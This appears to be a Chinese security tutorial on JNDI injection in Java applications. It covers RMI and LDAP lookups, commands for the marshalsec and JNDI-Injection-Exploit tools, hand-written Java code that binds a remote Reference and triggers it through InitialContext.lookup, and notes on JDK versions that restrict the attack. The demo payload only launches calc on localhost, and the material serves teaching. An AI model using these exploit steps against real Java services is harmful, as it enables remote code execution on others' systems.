当前位置: 首页 > news >正文

Web开发-JavaEE应用JNDI注入RMI服务LDAP服务DNS服务高版本限制绕过

知识点:
1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等
2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等

在这里插入图片描述
在这里插入图片描述

演示案例-WEB开发-JavaEE-JNDI注入&LDAP&RMI服务&DNS服务&高版本限制绕过

JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在NamingDirectory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在NamingDirectory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JNDI注入-工具-marshalsec

项目地址:https://github.com/mbechler/marshalsec

这个项目就是自己写一个危险代码类,然后编译成class文件放到网站目录下,用该项目生成一个调用地址,相当于中转作用。

1、编译调用对象(生成class文件)

javac Test.java

在这里插入图片描述

2、将生成的Class存放到网站访问路径,使用利用工具生成调用协议(rmi,ldap)

在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

在这里插入图片描述

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

在这里插入图片描述

3、触发JNDI注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JNDI注入-工具-JNDI-Injection-Exploit

项目地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

在这里插入图片描述
在这里插入图片描述

JNDI注入-手工

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

1、Server注册监听

Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、Clinet连接触发

String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

在这里插入图片描述
在这里插入图片描述

JDK高版本注入绕过

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

JDK 6u45、7u21之后

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVMjava.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URILDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过

后续Java安全篇章课程将讲到

相关文章:

  • Hadoop----高可用搭建
  • 【Redis】缓存三剑客问题实践(上)
  • Android JNI开发中头文件引入的常见问题与解决方案​,提示:file not found
  • 使用 LlamaIndex Workflows 与 Elasticsearch
  • Android 中实现图片翻转动画(卡片翻转效果)
  • Selenium 在爬取过程中,网络响应被退出的解决方案
  • C++算法(13):如何高效读取并存储未知数量的空格分隔数字
  • C语言高频面试题——sizeof和strlen的区别
  • 进程的同步和互斥
  • Seata 分布式事务 快速开始
  • Crawl4AI:打破数据孤岛,开启大语言模型的实时智能新时代
  • 597页PPT丨流程合集:流程梳理方法、流程现状分析,流程管理规范及应用,流程绩效的管理,流程实施与优化,流程责任人的角色认知等
  • Docker Compose常用命令
  • 公路路面病害检测
  • 数据结构:顺序表的实现
  • 使用 Spring Boot Admin 通过图形界面查看应用配置信息的完整配置详解,包含代码示例和注释,最后以表格总结关键配置
  • 使用 rebase 轻松管理主干分支
  • 描述城市出行需求模式的复杂网络视角:大规模起点-目的地需求网络的图论分析
  • 数据仓库ODS、DWD、DWS、ADS各层介绍
  • 关于创建UNIX/Linux daemon进程的笔记
  • “世纪火种”嘉年华启动,69家单位加入阅读“朋友圈”
  • 白酒瓶“神似”北京第一高楼被判侵权,法院一审判赔45万并停售
  • 美联储官员:货币政策不会立即改变,金融市场波动或致美国经济增长承压
  • 蚂蚁集团将向全体股东分红
  • 政治局会议:优化存量商品房收购政策,持续巩固房地产市场稳定态势
  • 我国民营经济首季运行向新向好,对国民经济发展形成有力支撑